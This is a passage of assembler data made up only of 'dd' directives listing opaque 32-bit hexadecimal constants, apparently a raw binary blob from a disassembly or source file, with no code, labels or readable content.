dd 74DB2AFFh, 595BC080h, 0A804F78Dh, 1FA71312h, 81D9D8FFh
dd 0D2BB39A0h, 1FC81E12h, 637987E1h, 7E16E8EDh, 980910E0h
dd 22B2E9EFh, 5CD98A05h, 61FA6A75h, 0FD4AD576h, 63162E28h
dd 59B0CCE7h, 0F1FC6011h, 0CE6F5101h, 57E6801Bh, 977D9874h
dd 8B5B4C8h, 27F61ABEh, 0CF6496D2h, 0DBFF8100h, 4B6F92AFh
dd 10CA0374h, 41D4BBE2h, 9FDD58D8h, 7925E2B8h, 5A6F5C26h
dd 0C780C3B5h, 0C680FB67h, 16927026h, 1DB81E4h, 56225989h
dd 3F6321F5h, 0F64ECCh
dd 6F2FC5B3h, 1BD3808Eh, 6CBE8509h, 41AA3283h, 0DFE5DE69h
dd 0B8D9132Eh, 0BF50C089h, 0FBA98428h, 944DA36Ch, 0F05B8EBCh
dd 4B855BE0h, 0B3F88C41h, 8E686D3Ah, 2050764Dh, 0ED5325BBh
dd 0B8A912Ah, 6F8B4EEAh, 5F7092FBh, 0DE950025h, 0D7F9076Fh
dd 89799B40h, 0EE02D925h, 0B0C49D17h, 0F4402A00h, 22EE3478h
dd 79AA7343h, 18C100A7h, 52EFCCD4h, 0B54A8948h, 88E21AEFh
dd 4A2D647Fh, 64A48850h, 22BD800h, 0A8C52ABh, 0DD1709F2h
dd 3B92A7F4h, 0DF00D959h, 52C7F511h, 6D9401D0h, 58686EB8h
dd 1E857EBCh, 0DAB7E770h, 0B5090961h, 1E5728A5h, 75A6CB4Bh
dd 4979B456h, 0B024F72Eh, 2F1DA7F1h, 0C61029DAh, 43009874h
dd 10D7618h, 881AD5BDh, 25D42DE9h, 24C0C252h, 8DF68008h
dd 0B0B54AFh, 0C5F57F72h, 0F2BBB555h, 61020E6Eh, 0BA8BACEh
dd 0BDEA7F9Dh, 1C91D402h, 44BA1CD7h, 0FB528BA0h, 1F91CCE3h
dd 899D2F03h, 346D3790h, 729A2785h, 0D4055A85h, 0D3B2AD6Dh
dd 1F80979Ah, 25558AA8h, 0F190589Fh, 5E238B6Bh, 0FB4A096Ah
dd 8EB64652h, 553217B2h, 0B325B9F8h, 882E10CEh, 1AF500B2h
dd 920FC6CBh, 9501DF8Fh, 0A0D26940h, 0D76C3522h, 53F5A913h
dd 0E2DBA684h, 0D3C5A963h, 6B09D9FDh, 952D6EF0h, 7B9D06CEh
dd 0BDF9145Ch, 8D6FEFD2h, 6BD79A02h, 57E2BEE8h, 8FCB440Eh
dd 0FC4023F1h, 49F6EF9h, 0AA5693C5h, 4E70B8E7h, 3BCA699Eh
dd 0B89344D8h, 26FD4B6Ch, 20448ECh, 61B501DAh, 7AA99295h
dd 8C19ACh, 0BC34961Ch, 5F507136h, 0FBAB0B97h, 701A7086h
dd 0C8BE4902h, 0CAA1B531h, 729455D0h, 234A83B8h, 0E55872E7h
dd 0E20B4116h, 422B69A3h, 113DB727h, 0B2DD8117h, 73785278h
dd 0A410BBC3h, 44622DE2h, 0DFAC195Fh, 0BEBD522Bh, 0BF200F6Eh
dd 5F1A9D2Bh, 85FF3872h, 54226261h, 16572919h, 58279385h
dd 4732A8F2h, 75155621h, 5B9C8167h, 0D0E3532Fh, 20072857h
dd 0DA68D096h, 50738A41h, 5199883Ah, 7B031000h, 28807D4Eh
dd 52E10533h, 538DF63Ah, 0E04AE6C0h, 5A525BDFh, 0B2ECF65Fh
dd 11C13015h, 9375CE95h, 833C5846h, 0B5AB416h, 4A76EC8h
dd 94D76D4Dh, 0AC0BEDEAh, 6AF98C14h, 0BAB75F04h, 1C1AFB8h
dd 0F157D85h, 0A9429734h, 2D52BC8Eh, 545043E1h, 6E95BAB8h
dd 0EB35B7AAh, 94207601h, 0F5E250FDh, 98705C89h, 7ECB8B95h
dd 333EDCFEh, 8DF38260h, 0FF4449FFh, 97849F88h, 9AE361h
dd 58FF08A8h, 31684Dh, 0BF74BEDDh, 153A0B7Ch, 97B82C09h
dd 7ACC5C61h, 435009D3h, 20DE4A0Eh, 0F38B2440h, 0B95F2103h
dd 0A8A1E780h, 96E6CBFh, 99E93B19h, 379D1A78h, 0FB0A00FAh
dd 555F6D05h, 3DA35809h, 9302DF2Ah, 290033F5h, 0BC18AD95h
dd 8AC184D3h, 0AC04BDF9h, 1F008C18h, 0AED2773Eh, 0EC8DB81h
dd 0F646DD9h, 2FCBA1F3h, 30497E6h, 29099Dh, 0F173BB90h
dd 0A0564AB5h, 2EF5FB9Ch, 7D0FBA6Eh, 718107F4h, 2B6A0AA9h
dd 78C0D3DBh, 4149BD9Eh, 8A5BCA16h, 2DA55827h, 32E220AFh
dd 0EDB716A7h, 3866E217h, 27B385DDh, 0E4D7CDAAh, 7E8A0B51h
dd 0D0174000h, 5B008723h, 0EDCEEAE6h, 1EDD43CBh, 82E444C8h
dd 9C02C26Dh, 22EC4AD7h, 5D90DFA5h, 0B02A3B7h, 40940911h
dd 94284918h, 213589DAh, 405513EAh, 8024C909h, 0B62DBF66h
dd 81E260ECh, 105909DFh, 0E3717C6Ch, 9BD98B8Dh, 0F9C7752Bh
dd 0B5A835h, 6C9A0FDEh, 8E27739Fh, 5181BF01h, 0D1FF429Dh
dd 16B8577Dh, 78477900h, 0EA02B811h, 299B0442h, 0B419ED85h
dd 2D4B0185h, 0AE21F68Eh, 0AF181BF9h, 0B19FBA00h, 0AB30DDBBh
dd 0A0BC3CBFh, 26A3F8Bh, 0B08203B7h, 7EB3E57Bh, 1E1210B7h
dd 50D2B790h, 0F9E8968Ch, 0FD318810h, 0B81E6B13h, 9590D4A0h
dd 0FF721EDBh, 0B98DAE8h, 85E38017h, 5350D061h, 0B42CC83Eh
dd 6F8C4D00h, 0A14E57A5h, 524F01FEh, 76914C68h, 0C45BE964h
dd 2AF7E95Fh, 3C84DDF3h, 0FE600BA7h, 0B52960C6h, 0B0971519h
dd 4259D7Ch, 26D266Bh, 9698EF61h, 98FE50BFh, 0BD154AA9h
dd 8C14BCDEh, 78F3D34Ah, 3ABC4Fh, 5390F8AEh, 660FDAh, 0BE682420h
dd 8E3E84D9h, 0A99562B0h, 9D80813Eh, 0CC7B1D69h, 33509822h
dd 44580E2h, 0B129C241h, 0DB4EDD3Ch, 0C0BA9216h, 3115F101h
dd 5373E018h, 0B52CB97Eh, 0D9A6D3C7h, 4197CD6h, 37917D7h
dd 5D6EAF57h, 2B001A23h, 6E271392h, 12B25EFDh, 4D4EE79Dh
dd 1D6ACE0h, 0BF9FFE6h, 7A0759BDh, 1CF39DE3h, 45400887h
dd 5F64E12h, 140D6779h, 0E25CC03Eh, 912DF496h, 3BB5159h
dd 4A9ECFDCh, 816C9C02h, 5C7292B8h, 0E7522DACh, 0C5B5FF09h
dd 63D5D31h, 38A53606h, 1FA920DCh, 248961BDh, 8834F26Ah
dd 208CA846h, 0B0702219h, 8EF30F7h, 2670E680h, 108B8956h
dd 0E45F0925h, 844C0271h, 9A9A5EC4h, 2C864D20h, 597C309h
dd 0DDB8609Dh, 0FB566B84h, 3D8A89DCh, 0BA2D5BC8h, 0A2DD131Ah
dd 572DB3BAh, 14D91A49h, 0B582C1A9h, 0A05E0385h, 55D33F4Fh
dd 0C82BE744h, 9E1720BFh, 581ECAACh, 0DAC067AEh, 0E41A4416h
dd 9341506Ch, 0E31D6255h, 3579D18Bh, 0AC03B300h, 1363F439h
dd 0C9ED3B20h, 52206AE5h, 3D6A6Ch, 0F765DE6Bh, 41A50910h
dd 858B0E1Eh, 0B70A2650h, 748E9F1h, 706FAF6Eh, 0BE1C9152h
dd 0E809257Dh, 78977CCBh, 9D0B08D8h, 12342939h, 8DE401FBh
dd 2B733697h, 0C4624BA7h, 0E90218D5h, 10518457h, 0C77F444Fh
dd 400E156Ch, 9B4E315Bh, 0ACF4A404h, 0B2AAF058h, 80B749D7h
dd 0DADCEB81h, 0C84A4BCAh, 0C1A627CAh, 0EA77F16Fh, 0FE0221A5h
dd 70D1BD2Bh, 0DF801A78h, 8613A277h, 161D3813h, 1FD92CAFh
dd 8960EEF9h, 0A313259Ah, 0F3956A29h, 11F96E05h, 0E86175AFh
dd 0E77C0323h, 2207F8B9h, 140013FDh, 0E474EDE1h, 2A24556h
dd 0A5D88EB7h, 0E4D5BC6Ah, 960B978Fh, 84C04BEDh, 133E5005h
dd 0C2D87322h, 0BBD52685h, 0FBC40BC5h, 507BD22Bh, 1D4D3E70h
dd 89D68D7Eh, 0AB7B7D2Fh, 0D453FC6Bh, 7BB6AC5Fh, 0A5D6E5Fh
dd 0C860841Eh, 9BDCF102h, 40D55E61h, 50F593BBh, 8630715Ah
dd 4BB1B352h, 6AD8CD5Bh, 673BF720h, 8CC716EFh, 9195F0E9h
dd 945B0340h, 0C210859h, 7961F809h, 6A5759C4h, 829BC485h
dd 0AFC9ADC5h, 5ECA01D2h, 0FC351C5h, 52C019C8h, 0BDE7EACh
dd 85896E82h, 3256494Ah, 0E1EA5B40h, 9002726Bh, 0D5DA00BEh
dd 4CFCD986h, 0B3257EE5h, 4B35743Ch, 80213775h, 4F86E3E4h
dd 761680BFh, 30B258BCh, 0D321E00h, 9F08C831h, 0F3E33F12h
dd 23666BBAh, 3E86001Ah, 455FDD98h, 31576104h, 0CAC8FD8Dh
dd 0E6E14CFFh, 4DB1F9C0h, 91F3AC7h, 0F1014C8Fh, 0A853FEDDh
dd 60CAA502h, 8291CD75h, 1A558531h, 1AF4C7D5h, 0B757274Eh
dd 44B1310h, 31F057Fh, 0B5F9B509h, 86C6B6F2h, 0F7905DE3h
dd 30BDB97Eh, 2F0E136h, 0D87ACF98h, 0C6C9605Fh, 0D9652F17h
dd 0F1A173E6h, 2DE2CF45h, 0FB25D65Eh, 0D579706Ah, 5384A34Eh
dd 6022CDB9h, 7D82BF91h, 0E0AB9520h, 3B7C6A9h, 44B0EED2h
dd 82E8D48Ch, 0F95D6A10h, 79302544h, 50D66944h, 1A67ED4h
dd 97E92DE6h, 2F7FBC4Bh, 0E109DD32h, 50002185h, 0B194F4B7h
dd 7834FBAFh, 1B202003h, 284D2010h, 49385995h, 63B924D4h
dd 0C4CFB345h, 52D59787h, 0D3E0CFBEh, 0B4436FB8h, 0DC27E100h
dd 0A5B2584Eh, 5E297C00h, 3C7D9205h, 0F8EE4C7Eh, 0F2F4E42Dh
dd 511C6029h
dd 6789F66Dh, 0B858E55Bh, 168A12ECh, 0BC4A02E3h, 4AE94DEAh
dd 1BAC42BDh, 0A0F7008Ch, 760E8BD1h, 5601996Bh, 0E95BA7B3h
dd 0BE2701EBh, 185F22B2h, 2F8529A5h, 0B07E3205h, 0BC5DA6C0h
dd 0B2A90009h, 4DC0776Ch, 877BFE0h, 7A842509h, 9F26D08Fh
dd 6F60CE4Fh, 160545CBh, 5F56377h, 0AB335155h, 822FE99Dh
dd 1C741407h, 0D4EE745Ah, 0F308AC14h, 0ABD302E0h, 7493B33Dh
dd 0E16E6C07h, 0F1892540h, 5701207Eh, 2200840Dh, 3C239731h
dd 1EC287A4h, 0A5EC8224h, 0F82DBB7Bh, 1C464D4Ah, 434FFBE8h
dd 0AAA920F0h, 0D6025789h, 0EB5F0CB2h, 491E2A6Fh, 0E20997DDh
dd 8A0E3D55h, 10B489F2h, 0A568012Eh, 5309F7FBh, 4BD9B66Bh
dd 0F85A03C0h, 6F2AFFE8h, 0E9E239FDh, 0B1A4D4C0h, 2E0EF57Ch
dd 6A4B198Bh, 4C6120B6h, 3C13DE63h, 0CD013050h, 0C2001D1Fh
dd 98A89D52h, 172A317h, 4B396DE7h, 0E2887CCEh, 24D3766Ah
dd 2DFD3470h, 0C1C0BDB0h, 319D3FADh, 10788C13h, 5498F88h
dd 0CF0D917h, 40A09661h, 8A8435BEh, 0C90016F2h, 0B06BDF25h
dd 1626801Bh, 0F2D551A4h, 0BFC50354h, 0E96EDCC7h, 8F2E5999h
dd 0A87C5D05h, 0F51716DAh, 0AC5A05EDh, 10F817Fh, 62383A1Eh
dd 2D418A0Bh, 2928F231h, 5C24E725h, 1480E6B1h, 0E194C4D6h
dd 0F7830A6Dh, 4EE814Eh, 0DB483DEBh, 82A0C9C1h, 41F6576h
dd 0A230E8F9h, 9E9132Ah, 16B54F2Eh, 0BEDE0417h, 0B31E9F84h
dd 85204BCBh, 0E4255604h, 54D60024h, 0C3420220h, 0E6090E7Bh
dd 0E6601067h, 0CBE6B532h, 810418C8h, 2C5DB866h, 0B32A2F61h
dd 155DD489h, 0C4AF421Ch, 0B5F3C1DFh, 0C0CDCFC2h, 8C860E5Bh
dd 549B1E09h, 0E1E417h, 9E79CF6Dh, 36D2EF4Ch, 0F8F03F02h
dd 74FE8A5Bh, 0EB5BEB97h, 0B00EF650h, 92B80703h, 12B96050h
dd 8BFFEFC0h, 0BB1477C5h, 0C9E4CD0Fh, 0E1C1E0CBh, 0B5452290h
dd 4D57D86Ah, 69F4C073h, 4D02AE1Eh, 0E9EAB6Eh, 47EE77D3h
dd 0E219E12Eh, 0AB26FB23h, 92A29513h, 59B50181h, 4D703B28h
dd 1305E781h, 0BA2E2D6Fh, 16EA0265h, 1D6FAE85h, 1617604Eh
dd 174CF8BBh, 4951130Dh, 9BFBA8Ch, 785C929Ah, 37B722D0h
dd 0CCC1001Ch, 0E1BD2BCAh, 0D7B9285Eh, 0B4AC8395h, 67BF660Ah
dd 253DA837h, 0DE3C7407h, 0E6001C46h, 0F2BBC015h, 7C27C47Eh
dd 6F6442DEh, 0A4F6C01Ah, 0D80474A1h, 5680F15Bh, 34D620AEh
dd 0EC3C4FB8h, 828CA7CCh, 4EFD8A34h, 0F6FA5A19h, 0D92276D9h
dd 7AD19D19h, 1C1DB30Ah, 4D9D0B40h, 293A9D30h, 71B76F46h
dd 927A60A3h, 527380Ch, 1C1945CCh, 0B94F3854h, 3D64BC03h
dd 58002B32h, 8F71D240h, 4C2EF780h, 8D08AE96h, 3D85AF02h
dd 35E98C50h, 53D02700h, 9FCBB91Ah, 408FB696h, 2D9145CFh
dd 2D99DA26h, 4D16F500h, 9711A4E6h, 0D7163C4Eh, 6FBD34C7h
dd 8C1BACh, 5B8A8E19h, 0A7B1F39Bh, 2B0DBB05h, 6BAF7270h
dd 1D23D4h, 0E0E1B1C5h, 53000B03h, 0BB652E27h, 4EC88ACAh
dd 20008D0Dh, 5116AD0Eh, 18C41142h, 5EA203BCh, 0B58A9ED7h
dd 0C6594373h, 63B75DC2h, 0A1710C80h, 9685F53Fh, 24B940B0h
dd 0A70068F3h, 86042BDAh, 72F5B82Ah, 72D81288h, 92CAF61Eh
dd 0C4A884FDh, 15210900h, 0E9F59CE1h, 0BA899714h, 1B3F2700h
dd 499BC18Bh, 16319278h, 0F219A1BDh, 0AE8C4BF8h, 0B19D2433h
dd 0C86097E1h, 800D0F7h, 0F86DD4B7h, 2F9187C9h, 17D19A7Fh
dd 4554AFh, 610E3136h, 0BF045190h, 2856B4FEh, 0DC1CD1ABh
dd 0E05EF62Eh, 62F99DDCh, 35092A26h, 0B3111829h, 7A5F4F46h
dd 0DAD80176h, 0D98B0BE6h, 0B6E58741h, 0C702D978h, 7CF23FF8h
dd 652C7F5Eh, 5B922FDEh, 0A7EFAD90h, 14127B01h, 0F82E50D5h
dd 7349D170h, 71B80B90h, 680A5418h, 6F211C92h, 0ABD80205h
dd 0A1F71280h, 0DADDA16Eh, 0E80A8EB7h, 0A5021C24h, 556C3717h
dd 9D844671h, 8002131Dh, 6D5E45D7h, 5260726Ah, 1F50FAFEh
dd 0C327B65Dh, 693FE52Fh, 0F44354B0h, 7A053D2Dh, 1381216Ch
dd 135D31E4h, 324F968Dh, 31072520h, 7910026Ah, 7D50021Ch
dd 0B7259146h, 80E78147h, 0F285A4CBh, 990DF8C3h, 0F9F4842Eh
dd 0B3B8C2E9h, 4B6EFE1h, 0ADB8DDEDh, 65DBE24Bh, 85596382h
dd 1E89847Ch, 9577D088h, 1759885Bh, 0F271E718h, 27062F4Ah
dd 0B0A9088h, 53507509h, 0DA055D5Bh, 0C8A9905Fh, 1000EDB8h
dd 0DB116D8Fh, 9D952B60h, 6495885Ah, 0EDBD007Ah, 0DF6B3C38h
dd 0D42D9E51h, 4054F47Ah, 6159D3B1h, 95C21497h, 5B0047B5h
dd 0B9B18D1Bh, 75F70530h, 84BBFCh, 858937B5h, 0E7952381h
dd 0D6302429h, 9C878E00h, 0FE8A5C07h, 119D2D03h, 5452F95Ch
dd 0A76A1EDCh, 0DC38DCh, 0BFBB6B48h, 0ABB2AE3Dh, 0B4A7F92h
dd 1D013BE7h, 0AEA3B3D4h, 220B6A38h, 50564431h, 4BF9FFFAh
dd 53819833h, 71BD2988h, 74B48421h, 0E6170B10h, 9EBEC870h
dd 0B2B66E03h, 0E19B9283h, 0BDE043CEh, 76751891h, 33E13A60h
dd 79E45B80h, 92DF4B71h, 0B5101B93h, 4F1F438Dh, 83EED804h
dd 0B5C284B8h, 7E0922D1h, 758C40D9h, 2402CE03h, 0F927B90Eh
dd 0F570C25Bh, 82B78510h, 9A328D00h, 271CA8B1h, 0B8ED4A11h
dd 59ABD7EFh, 0D1F376BDh, 0B733AFh, 394E7FA5h, 0B12D436h
dd 415ECDE7h, 0E2F74582h, 710F71C6h, 24DCB85Bh, 6CC093A0h
dd 5B60559Ch, 81B7BC31h, 2D619D09h, 2B160CBAh, 0DDD8E8C8h
dd 0FD42D192h, 0FEE92A96h, 0ED609750h, 116D7166h, 81090E3Dh
dd 4AE4EB30h, 136AF2CEh, 34AF1E8Dh, 0B25200EAh, 38C9F333h
dd 8F9FD802h, 5C6AF582h, 842B99Ch, 910B1D8Dh, 5D512449h
dd 0B2FF5F1Ch, 5CF503FFh, 59354480h, 4A3E0DF0h, 1616A5F9h
dd 3ECB88FEh, 5BF61000h, 5773CF67h, 634B00BCh, 41F5E369h
dd 140AEFFEh, 729589D0h, 5ACF8184h, 56C48EB9h, 0D1E6EB36h
dd 206400F7h, 50095DB2h, 0DC7281E6h, 0B302F45Fh, 55F49B7Eh
dd 9553506Fh, 0FEC8C7B3h, 0F4B92B9h, 3A088B7h, 0FC2599A1h
dd 0D3CDC28Ch, 8B577097h, 0F59A1295h, 63E4C06Dh, 0E0E222C0h
dd 0FEC72C80h, 8CFC2F22h, 83E550h, 0C2FE6AAFh, 208CF035h
dd 2B74CA02h, 56BB048Eh, 93D949CBh, 1D0E0938h, 7798DFFBh
dd 1800A43Fh, 220FD621h, 0B3D22B5Bh, 91BE780Ah, 0FA68F001h
dd 8074699Ah, 0BDEFA021h, 232B7FAFh, 76803819h, 3FAADE96h
dd 7925BD33h, 0C1375508h, 2F96F980h, 1203B236h, 9A08DDh
dd 0AD542B88h, 1209BB5Eh, 7922A866h, 85DC2D2Dh, 13F6BBD6h
dd 0F1A23072h, 8F016D35h, 0DB81E1E0h, 74AC7FD9h, 955E2717h
dd 2B55F52h, 884E0C01h, 0F3302864h, 0A21A4B19h, 0A183F422h
dd 0CEABEDA5h, 67643077h, 1C1B8FBFh, 2CB85AA7h, 16615097h
dd 75EE1109h, 0A3DC739Dh, 2DE458FDh, 3C1C6F00h, 0F14FBFEFh
dd 0FF5A13F3h, 12D6FE1h, 910CC1A0h, 282E03B6h, 768AD3DFh
dd 6539DCFFh, 0F78A4BF9h, 0AF028A7Dh, 0D55C14D5h, 279F7A71h
dd 2BDA6F89h, 0CADB605Fh, 0F41E8F81h, 4BED636Eh, 0B462AF0h
dd 2B69DB71h, 1C5E2018h, 78311D00h, 0FDC8ECCBh, 50C1007Ch
dd 399FB2FAh, 6025F7B5h, 0ED08E25Fh, 245DCBC6h, 73E16088h
dd 66D44C45h, 0C33C50FCh, 17E2EAA5h, 4D7F9075h, 1C6D16B0h
dd 128088BAh, 8EA4E502h, 55B5B76Fh, 0FD7012E4h, 54F06282h
dd 65296728h, 0EAF6958Dh, 0F6D2B0DAh, 0F2490024h, 0E3ADBED4h
dd 9DC8CD19h, 12AB2C51h, 9AC03818h, 170C98BFh, 0BA6A1440h
dd 0FE00266Fh, 94C55664h
dd 0D009980h, 38756886h, 0DF5707D9h, 2F712570h, 0C63B8A05h
dd 0E59D5BC1h, 0FD5BF778h, 607BAD8Ch, 1633E7E5h, 1023A32Dh
dd 27302AEh, 656B5238h, 0EED5F8F2h, 8C1201Ch, 2A3E91Ch
dd 9BB75527h, 0D88B7F04h, 5D538DD2h, 6EEB598h, 0AB183E13h
dd 4B6110A0h, 71AA8D5Bh, 0ACA35496h, 1AAD4E88h, 0B70314ECh
dd 4F72BB40h, 468A92A6h, 41610148h, 7B4BB4B2h, 0B2242E36h
dd 8E6FAEh, 3788A776h, 0EC69BF87h, 277BB505h, 27A8535Ah
dd 0D64CAB7Fh, 598DC176h, 0FAF62F0Ch, 691C6A00h, 881487D6h
dd 3CBAFA09h, 0D4A42989h, 805EAF27h, 0DCC0055h, 0B7910F1Bh
dd 15128DE2h, 86C85360h, 38F7009Dh, 0EED62EC6h, 0AF03936Ch
dd 54B2A13Ah, 5A58E8ACh, 9212B753h, 606920D5h, 0C0308Ch
dd 38AC60Ch, 0B0FBB735h, 583F8B1Ch, 2DF16152h, 3EB80669h
dd 48616B04h, 0AECCDF89h, 0D6C0150h, 0D72E09BBh, 7F10F65Fh
dd 313E0051h, 103329DBh, 0D777CA15h, 0E07A4702h, 0C20AF522h
dd 0DFF275C6h, 0BFA2C09Fh, 0D4DBF8D3h, 290EED90h, 0F2721D8Dh
dd 609AD357h, 5D803880h, 0DD5068E6h, 0A4A6E1C7h, 6071FE9Dh
dd 3BCC4092h, 85E3F901h, 0A18C1FB6h, 2CB1202Eh, 0B4F62E01h
dd 0C7334600h, 0EA8A67B0h, 0B379059Ah, 0BB5F2DB6h, 0C1229901h
dd 882E1ECCh, 917E5126h, 9BB0EB0Fh, 0C411C0F6h, 96A69A49h
dd 65CD258Eh, 7601864h, 210990F6h, 7D9D295Eh, 0E9CADB43h
dd 0D9E64280h, 677B661Ch, 0D6868816h, 4A96E1E0h, 6A22EB50h
dd 0C0127757h, 79A1E85Fh, 2BB902BAh, 905B5F1Dh, 46E0D5CDh
dd 4D61A8BCh, 0B093D5FCh, 0E1C5C5h, 0E661F78Bh, 97F8E6F9h
dd 0B0D4D96h, 2F1581BDh, 0F37AFDD9h, 1347CE49h, 0F300A0E6h
dd 0B9A1232Ah, 5E4FFC0h, 0BB5A8400h, 187931ACh, 33C92FDCh
dd 0F3957970h, 4FCCD07Ch, 84CBD01Ch, 0B928D6C0h, 41018D31h
dd 90CE2B27h, 0A00B76E9h, 8A1D210h, 1B15B531h, 0A6DABB01h
dd 602D4829h, 0EC39FEB8h, 520A028Dh, 6C461415h, 10F0B4EBh
dd 0ADF84A26h, 7DBD23C1h, 0CA8E2E02h, 7A4ACA3Ah, 5C9D097Dh
dd 6B371612h, 6BED579Fh, 9EFAA4C0h, 545A0E0Fh, 0CC2965B4h
dd 90374E55h, 0DAB22522h, 9D889857h, 0BC1C4AF1h, 0CEBEA408h
dd 3AE3D243h, 6D952909h, 500F27F2h, 4ECD93BBh, 0BF1CF22Fh
dd 0EEB82D52h, 0AEF405AEh, 0B7CC53CBh, 325C01BDh, 0DD0B1593h
dd 0BCC17BC0h, 70581AE1h, 8C0F2CF8h, 0EE26E4F0h, 0B94A588Bh
dd 5A75A8B4h, 2188F042h, 0E521BB97h, 4D224BBCh, 0D7259896h
dd 0A9003F3Dh, 702AFCBh, 8EDE00D2h, 0EBBB6641h, 28B6604Fh
dd 49183C40h, 0AEBF0096h, 0E2844D1Ch, 894FAC67h, 618D49BEh
dd 3094278h, 7B0C65BDh, 181A5124h, 0DF0B049Fh, 0BE348A31h
dd 891F80C1h, 1391FE89h, 19792A7Bh, 601C5118h, 0E2FEF580h
dd 27E2662h, 45D72845h, 0D4ADAE4Dh, 5A51F433h, 5B5FEADAh
dd 8351D051h, 16FCFB12h, 0A0440700h, 97959D33h, 0FB2F7545h
dd 39EDA50Ah, 9D962740h, 0B320984h, 47048DE0h, 76B25D59h
dd 1080A27h, 37D0FD77h, 0CD7DDE50h, 87C1C063h, 0AB0243D9h
dd 0E947A0DDh, 0DF65F7A9h, 0C3ED2E93h, 0BF047CE8h, 3976AFFFh
dd 8A4B4FA8h, 0BD2122A0h, 997F3B42h, 0EC3E5689h, 0DB95B54Ch
dd 0D94A1DC5h, 252C704h, 0D717ED98h, 1212ECBAh, 96552B62h
dd 4520EBC8h, 5C1EA224h, 0FD70A52Eh, 2EA3214Bh, 1D766089h
dd 2EC725F6h, 5CE4327Fh, 0B47BE94Fh, 383E3350h, 0B78BD523h
dd 92059F9Bh, 0C6974D3Dh, 85893AEDh, 5EDED102h, 40FB7A2Dh
dd 0F2E13A50h, 0E8205F23h, 0D375F68h, 0A5E87769h, 0D09D8AE9h
dd 0B70F7514h, 27893E18h, 23812FD2h, 0BC3B1661h, 0F9A205h
dd 7FE14AD0h, 29BD2988h, 329F32B9h, 889C572h, 8788CF3h
dd 0D0F8036Eh, 2A115ABAh, 215D9610h, 16C71382h, 48D38100h
dd 0E60C9723h, 2C402128h, 4060BC50h, 0D9F132DAh, 84853Bh
dd 3A784AEAh, 9F04E44h, 5B454D8Fh, 40D36FF5h, 580D03E2h
dd 9A6A2B2Dh, 11D95763h, 7D0B1A32h, 5B779AE2h, 2612259Bh
dd 0FED3E8DDh, 748013Fh, 0F733F638h, 8A76B7Eh, 0EB322D12h
dd 0D892178Fh, 4B050F44h, 699C11D4h, 59A79D1Eh, 258D1C94h
dd 581307E7h, 3CECE3F9h, 8B47410Bh, 6AC9E0DAh, 0F5BF0002h
dd 5075BB6Fh, 0C5AA7EB7h, 1171A5F3h, 2432F72Bh, 49448029h
dd 1DE12EBCh, 19880FC7h, 81090C0h, 0A6C0977h, 8A64FCB7h
dd 2E6BED00h, 33D047E1h, 78B400A9h, 19A60174h, 4C392C09h
dd 25DDCBB5h, 0F8C0975Ah, 0B794E22Bh, 788DC012h, 89800CACh
dd 0CD1B9B43h, 90214A0Eh, 0D80356E2h, 0C5509888h, 0BFE0C4B6h
dd 874CBCB3h, 71F84FC8h, 910E6D2h, 42D58D89h, 0E16DF59Fh
dd 7CFBC9h, 796EEBA7h, 4B01532Fh, 312D9EE8h, 5F35918Dh
dd 1078D684h, 0D7EFB86Ch, 90EED624h, 335ACC02h, 59251B0Eh
dd 0FCBCC2E7h, 84425541h, 0B5A292C0h, 0FF6A3B16h, 1020ADF8h
dd 2D79ECEFh, 0D0125397h, 6A1208CDh, 7D0B6041h, 0E17404C8h
dd 9761A6A0h, 58DCFB33h, 82213D82h, 0F14C055h, 815FB681h
dd 1F2EBDB9h, 69B64119h, 0E64D8B1Bh, 1047F670h, 17EC5A28h
dd 0C871E413h, 0BD0073D1h, 1E6F7F8Ch, 2EFAD4h, 0CBA4D002h
dd 0A5A7C958h, 0B4E81F5Fh, 0E60D934Bh, 0F84B3B7Bh, 279E09C6h
dd 0B85C10EDh, 42F84C9h, 89BB6641h, 0C6F46B1Fh, 2B254179h
dd 1E16EE13h, 1054EBDh, 0AF0C35B5h, 2E0F3332h, 0C53784BEh
dd 14D780BBh, 8B048A5Eh, 8F72FB69h, 0D126DAB8h, 3E2390FEh
dd 538C4BE9h, 225E96DFh, 0B1D3E1ABh, 0C86B3399h, 1591523Ch
dd 610E3C80h, 594A55h, 0AFFAB7FEh, 84685A7Bh, 1B1B1F7Bh
dd 85385FF2h, 0C63D36B2h, 62EE7400h, 6C6722EAh, 9282DA01h
dd 366DD224h, 0EF190B70h, 0F15C5F02h, 0BA4F0B91h, 34ABBF50h
dd 0EDAC9DF5h, 3F29AED7h, 3268C23Bh, 1053EC5Ch, 682A0D1Ah
dd 0FE2D7C50h, 0D86C2544h, 9F45E820h, 537D6C92h, 96742752h
dd 602A2780h, 2609ACB0h, 89B2A58Dh, 0B7556A61h, 68668BB7h
dd 843ECF02h, 0FD81895Dh, 1844526Dh, 0FC4FB498h, 7CED39B9h
dd 210F9C97h, 41B75C0h, 0A04FD4ACh, 0BC832D34h, 46E45480h
dd 845F99B8h, 0BA26559Dh, 0EDE552E3h, 18BB80AFh, 2EC8927Eh
dd 28FC83D3h, 26AD2783h, 5DAC95Ch, 396BD8D3h, 426A631Ch
dd 7CE3BAABh, 893B8A54h, 12B509C2h, 0E6CFD509h, 60E11FE2h
dd 9B8F689h, 2AE0D31h, 9E49645Dh, 76DE6B18h, 23806725h
dd 583958EEh, 90A4B702h, 52852952h, 0CC6C9555h, 59952FB0h
dd 0DEFB7AACh, 1FDE7D50h, 1294C747h, 0D140454h, 9B71028h
dd 60487DEFh, 0BBF51C3h, 46AE4EC2h, 60C99657h, 1DBB5967h
dd 662555B5h, 0F148F3B8h, 45F46A79h, 0FF485440h, 0CA4E4C87h
dd 534F1722h, 3D0FC88h, 733332BCh, 25A00CFBh, 9B055921h
dd 5BDFF329h, 0EBBDAC0Eh, 0ECA95E04h, 80CDB5Ch, 26E1FF85h
dd 0B82F4AEDh, 49AE1B3h, 9DF7A6Bh, 5C096CCCh, 950104A7h
dd 3A6CE141h, 0FA257CA7h, 78119AC5h, 659D2B04h, 5E2F3C10h
dd 0A0C9F704h, 517A79Bh, 0F779E638h, 12E9A874h, 4AB4048h
dd 0AB21413Ah, 1488C39Ah, 0AAC3AC5h, 0F66DC54Ah, 5523E0DFh
dd 5DAA2584h, 65A876C9h, 0C0845B0Ch, 3DE3B157h, 0D6F32FEAh
dd 0B92044D0h, 0B58B091Bh, 0CD711709h, 0C51AF705h, 0D7149AABh
dd 0FAB9B760h, 5AD32551h, 0B3802A51h, 0E1C5E5FDh, 8EE40F2Ch
dd 0DF000FAFh, 0DEE88B2Bh
dd 0F822442Dh, 0B5AD98A5h, 0FC7AF873h, 0BE90C421h, 0C27A0A8Dh
